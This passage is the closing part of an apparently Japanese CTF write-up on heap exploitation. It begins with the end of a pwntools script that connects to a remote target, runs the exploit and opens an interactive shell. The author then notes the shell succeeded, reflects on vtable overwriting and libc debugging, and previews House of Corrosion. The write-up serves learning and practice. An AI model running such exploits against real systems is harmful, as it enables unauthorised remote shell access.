remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
5: 結果
サーバ側ではエラーメッセージが出て
exploit側では無事にシェルが取れた
6: アウトロ
今更使えるテクニックではないが、vtable書き換え等は普遍的に使えるし
ホストと異なるlibcでのデバッグにも慣れる練習になった
最近は相変わらず特に忙しいわけでもないが
何故かpwnから離れていたため、久しぶりに問題を解いて楽しかった
さぁ、来週締切の2つの課題と未だノータッチの7個くらいの試験勉強でもやろうかな
次回はHouse of Corrosionを試せたらと思います
続く・・・